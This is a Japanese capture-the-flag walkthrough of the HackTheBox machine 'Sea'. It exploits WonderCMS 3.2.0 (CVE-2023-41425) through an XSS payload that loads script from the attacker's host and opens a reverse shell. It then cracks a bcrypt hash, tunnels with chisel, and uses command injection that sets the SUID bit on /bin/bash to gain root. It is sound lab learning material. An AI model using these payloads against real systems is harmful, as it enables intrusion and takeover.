今回はHackTheBoxのEasyマシン「Sea」のWriteUpです!
Easyにしては、少し難し目なグラフですね...評価も3.5なので若干癖があるかもしれませんが、サクッと攻略してしまいましょう!
Sea
列挙
それでは攻略を始めていきましょう。
まずはnmap
でポートスキャンを実行していきます。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.28
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
22番と80番を確認しました。
ブラウザでアクセスしてみましょう。
サイクリング大会のサイト?が表示されました。
目で見える遷移としては、登録フォームぐらいしかありません。
現状特に怪しいものはなさそうなので、ディレクトリ探索を行います。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://sea.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://sea.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 2350ms]
.htpasswd [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 4291ms]
0 [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 4294ms]
404 [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 181ms]
home [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 185ms]
home page [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 181ms]
messages [Status: 301, Size: 232, Words: 14, Lines: 8, Duration: 182ms]
modern mom [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 193ms]
my project [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 180ms]
plugins [Status: 301, Size: 231, Words: 14, Lines: 8, Duration: 180ms]
press releases [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 182ms]
themes [Status: 301, Size: 230, Words: 14, Lines: 8, Duration: 184ms]
web references [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 184ms]
いくつかの新しいディレクトリを発見しましたが、ここで気になるのはthemes
というディレクトリが存在することです。
themes
が存在するということは何かしらのCMSが使用されている可能性が高く、さらに階層を深く調べることでテーマ名やバージョン情報などを取得できるかもしれません。
では、themes
配下に対してディレクトリ探索を行い、テーマ名を列挙します。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -u http://sea.htb/themes/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://sea.htb/themes/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
404 [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 186ms]
home [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 182ms]
bike [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 194ms]
bike
というテーマ名を発見しました!さらに深く見ていきましょう
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://sea.htb/themes/bike/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://sea.htb/themes/bike/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
README.md [Status: 200, Size: 318, Words: 40, Lines: 16, Duration: 183ms]
sym/root/home/ [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 182ms]
version [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 191ms]
README.md
やversion
を発見しました!それぞれアクセスしてみましょう
-- README.md --
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ curl http://sea.htb/themes/bike/README.md
# WonderCMS bike theme
## Description
Includes animations.
## Author: turboblack
## Preview

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.
-- version --
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ curl http://sea.htb/themes/bike/version
3.2.0
上記の結果からサイトではWonderCMS
のバージョン3.2.0
が使用されていることがわかりました。
CVE-2023-41425
バージョン情報を取得したので、脆弱性が存在しないか調査すると以下のサイトを発見しました。
どうやらWonderCMS
のバージョン3.2.0
にはXSSを経由したRCEの脆弱性があるようです。一見有用そうですが、「XSSを経由しなければならない」ため、まずはXSSを発見する必要がありそうです。
GitHubに公開されているExploitコードは、最終的にxss.js
というファイルを作成します。このファイルがXSSによって読み込まれ実行されることでRCEとなり、リバースシェルを取得することができます。
では、今回のサイトの中でXSSを発火、もしくはXSSと同等の機能をもたらすことができるでしょうか。実は可能です。注目すべき点は、使用されている画像のXSS部分(URLリンク)が以下のようになっている点です。
localhost/wondercms/index.php?page=loginURL?"></form><script+src="http://...
これはGitHubでも紹介されている通り、XSSを発火させている部分ですが、そのまま入力しても発火はしません。一度自分でもXSSが発火するのかどうか試し、発火しなかったため「あれ?」と疑問に思いましたが、これはCVE-2023-41425が認証済みRCEであることが物語っています。
つまりWonderCMS
では、認証済みユーザのみが[ip]/wondercms/index.php
へアクセスした際に、?page=loginURL?"></form><script+src="http://...
のようなパラメータを送信することでXSSが発火するということです。そのため、認証済みユーザではない攻撃者(私)が実証しようとしても発火は確認できません。
上記を踏まえると、認証済みのユーザに[ip]/wondercms/index.php
へアクセスさせ、XSSを発火させる必要があるということになります。そんなことが可能なのかと一瞬戸惑いますが、ここで最初の方に確認した登録ページが活躍します。
名前やメールアドレスに加えて、ウェブサイトを登録できる欄があります。なので、この欄にXSSのペイロードを入力し、管理者などの認証済みユーザにアクセスさせることができるかもしれません。
では、攻撃パスが出来上がったので実際に試してみましょう。まずはPoCをダウンロードします。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ git clone https://github.com/prodigiousMind/CVE-2023-41425.git
Cloning into 'CVE-2023-41425'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (6/6), done.
ダウンロードできたら、PoCを実行します。が、一つ変更しなければならない点があります。それは、PoCの中でmain.zip
をダウンロードしている箇所があるのですが、マシンからはアクセスできないため、ローカルに配置し、ダウンロードさせます。
まずは、PoCで使用されているmain.zip
をダウンロードしておきます。
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
--2024-08-16 23:44:34-- https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main [following]
--2024-08-16 23:44:34-- https://codeload.github.com/prodigiousMind/revshell/zip/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.27.177.114
Connecting to codeload.github.com (codeload.github.com)|20.27.177.114|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/zip]
Saving to: ‘main.zip’
main.zip [ <=> ] 2.62K --.-KB/s in 0s
2024-08-16 23:44:35 (50.4 MB/s) - ‘main.zip’ saved [2680]
ダウンロードできたら、PoCのリンクをローカルへ変更します。
-- before
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
-- after
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.2:8000/main.zip&directoryName=violet&type=themes&token=" + token;
これで準備完了です。PoCを実行しましょう!
実行時に指定するURLはhttp://sea.htb/wondercms/index.php
です。
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ python3 exploit.py "http://sea.htb/wondercms/index.php?page=home" 10.10.14.2 2121
[+] xss.js is created
[+] execute the below command in another terminal
----------------------------
nc -lvp 2121
----------------------------
send the below link to admin:
----------------------------
http://sea.htb/wondercms/index.php?page=home"></form><script+src="http://10.10.14.2:8000/xss.js"></script><form+action="
----------------------------
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
ペイロードが出力されました!これを先ほどの登録ページに入力しましょう。
入力できたら「Submit」を押下します。押下後、xss.js
へのアクセスを少し待ちます。
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ python3 exploit.py "http://sea.htb/wondercms/index.php?page=home" 10.10.14.2 2121
[+] xss.js is created
[+] execute the below command in another terminal
----------------------------
nc -lvp 2121
----------------------------
send the below link to admin:
----------------------------
http://sea.htb/wondercms/index.php?page=home"></form><script+src="http://10.10.14.2:8000/xss.js"></script><form+action="
----------------------------
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [16/Aug/2024 23:28:47] "GET /xss.js HTTP/1.1" 200 -
アクセスがきました!
www-data としてのシェル
では、xss.js
をダウンロードさせることに成功したので、リバースシェルを取得しましょう。まず待ち受けを開始しておきます。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
これで準備は万端です。実行はhttp://sea.htb/themes/revshell-main/rev.php
へIPとポートを指定してアクセスするだけです。
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.2&lport=2121'
特に応答はありませんが、待ち受けを確認すると...
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.28] 51942
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
03:57:44 up 3:49, 0 users, load average: 1.29, 1.48, 1.47
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
www-data@sea:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
シェルを取得できました!侵入成功です~!
水平権限昇格
それでは、さらに列挙を進めていきます。
侵入後のユーザはwww-data
だったので、おそらくroot
を目指す前にもう一段階必要そうな気がします。home
ディレクトリを確認し、ユーザを見てみましょう。
www-data@sea:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Jul 30 12:58 .
drwxr-xr-x 19 root root 4096 Feb 21 01:15 ..
drwxr-xr-x 4 amay amay 4096 Aug 1 12:22 amay
drwxr-x--- 4 geo geo 4096 Aug 1 12:13 geo
amay
ユーザとgeo
ユーザが存在します。amay
ユーザのディレクトリは読み込み権限があるので、中を確認できそうです。
www-data@sea:/home/amay$ ls -l
total 4
-rw-r----- 1 root amay 33 Aug 17 00:11 user.txt
ユーザフラグがありますね。www-data
ではファイルを読み取ることはできませんが、次の目標がわかったのでamay
ユーザへの移動を目指していきましょう。
Hash Crack
www-data
で侵入した後は、WEBの設定ファイルやDBの情報を見て認証情報を取得できることが多くあります。今回も認証情報の取得を期待して列挙していると、database.js
というファイルを発見しました。
www-data@sea:/var/www/sea/data$ ls -la
total 48
drwxr-xr-x 3 www-data www-data 4096 Feb 22 20:00 .
drwxr-xr-x 6 www-data www-data 4096 Feb 22 03:06 ..
-rwxr-xr-x 1 www-data www-data 29235 Aug 17 01:40 cache.json
-rwxr-xr-x 1 www-data www-data 2891 Aug 17 03:50 database.js
drwxr-xr-x 2 www-data www-data 4096 Aug 17 03:51 files
内容を確認してみましょう。
www-data@sea:/var/www/sea/data$ cat database.js
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
"2024\/08\/17 03:50:56": "127.0.0.1",
"2024\/08\/17 03:38:25": "127.0.0.1",
"2024\/08\/17 03:28:54": "127.0.0.1",
"2024\/08\/17 01:40:18": "127.0.0.1",
...
ハッシュ化されたパスワードを発見しました!john
による解析を試みますが、このハッシュはスラッシュ(/
)を文字として認識させるため、前にバックスラッシュ(\
)が追加されています。なので、バックスラッシュを削除した状態で保存するように注意してください。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)
1g 0:00:00:18 DONE (2024-08-17 00:25) 0.05330g/s 164.0p/s 164.0c/s 164.0C/s iamcool..milena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
解読に成功しました!
amay としてのシェル
それでは、パスワードを取得できたのでamay
ユーザとしてログインできるか試してみましょう。
+[~/sea]
(σ▰>∇<)σ<10.10.14.2>$ ssh amay@10.10.11.28
The authenticity of host '10.10.11.28 (10.10.11.28)' cant be established.
ED25519 key fingerprint is SHA256:xC5wFVdcixOCmr5pOw8Tm4AajGSMT3j5Q4wL6/ZQg7A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.28' (ED25519) to the list of known hosts.
amay@10.10.11.28s password:
amay@sea:~$ id
uid=1000(amay) gid=1000(amay) groups=1000(amay)
ログインに成功しました!
amay@sea:~$ ls -l
total 4
-rw-r----- 1 root amay 33 Aug 17 00:11 user.txt
ユーザフラグも無事読み取ることができました。
垂直権限昇格
では、最後root
を目指していきましょう!
まずはいつものようにsudo -l
を実行します。
amay@sea:~$ sudo -l
[sudo] password for amay:
Sorry, user amay may not run sudo on sea.
sudo
は実行できないようです。SUID
も特に気になるバイナリはありませんでした。
ローカルWEB
権限昇格へつながる道がないかネットワークを列挙していると、気になるポートを発見しました。
amay@sea:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43435 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
ローカルで8080番が起動しています。おそらくWEBだと考えることができるので、アクセスしてみましょう。ローカルWEBへアクセスする際は、chisel
を使用します。chisel
をターゲットへ送信する方法はいくつかあるので、scp
などを使用して送信してください。
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ scp /opt/too1s-l1nux/chisel amay@10.10.11.28:/tmp/chisel
amay@10.10.11.28s password:
chisel 100% 8188KB 836.6KB/s 00:09
送信できたら、マシン側/ローカル側でそれぞれchisel
を実行します。
-- local(Kali) --
+[~/sea/CVE-2023-41425]
(σ▰>∇<)σ<10.10.14.2>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse
2024/08/17 00:39:15 server: Reverse tunnelling enabled
2024/08/17 00:39:15 server: Fingerprint JYjZ/rhFjp/xyi9/jcYPwbLdroC2N0f3YNx0iFX2CzQ=
2024/08/17 00:39:15 server: Listening on http://0.0.0.0:9999
-- machine(sea) --
amay@sea:/tmp$ ./chisel client 10.10.14.2:9999 R:8021:127.0.0.1:8080
実行に成功したら、ローカル側でhttp://127.0.0.1:8021
へアクセスします。
Basic認証が有効になっているようなので、amay
ユーザの認証情報を使用してログインします。
認証に成功し、システムを監視できるサイトが表示されました。
なにやらログファイルを分析できるようなので、「Analyze」というボタンを押下してみましょう。
不審なトラフィックは検出されませんでした。というメッセージが表示されました。access.log
の他にauth.log
もあるようなので、そちらも指定してみます。
いくつかの出力がありました。不審なトラフィックが検出されていたので、そこから権限昇格の手がかりを探すかと思いましたが、特に気になるものはありませんでした。
Command Injection
では、見方を変えて分析のプロセスに目を向けることにしました。auth.log
やaccess.log
から不審なトラフィックを検出しているということは、何かしらのコマンドが実行されている可能性があり、コマンドインジェクションに脆弱な可能性があります。試しに、log_file
パラメータの末尾に;id
を付与してリクエストを送信してみましょう。
access.log
を分析させたときは、特に出力がありませんでしたが、;id
を付与しただけで多くの出力が見られました!直接的にid
の結果が出力されているわけではないので、;id
の追加の仕方がよくないのではないかと思いました。試しに末尾ではなく、先頭に;id
を付与して再度リクエストを送信します。
id
コマンド結果が綺麗に出力されました!
root としてのシェル
コマンドインジェクションに脆弱であることが確定したので、権限を昇格させましょう!以下のようにlog_file
パラメータの値を指定してリクエストを送信します。
log_file=;chmod%20u%2bs%20%2Fbin%2Fbash;%2Fvar%2Flog%2Fapache2%2Faccess.log
/bin/bash
にSUIDを付与しています。リクエスト送信後、SUIDが付与されているか確認しましょう。
amay@sea:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
付与されています!権限を昇格させましょう。
amay@sea:~$ bash -p
bash-5.0# whoami
root
権限昇格に成功しました!
bash-5.0# ls -l
total 12
drwxr-xr-x 2 root root 4096 Feb 25 04:24 monitoring
-rw-r----- 1 root root 33 Aug 17 04:52 root.txt
drwxr-xr-x 2 root root 4096 Aug 1 12:17 scripts
ルートフラグを取得し、完全攻略達成です~!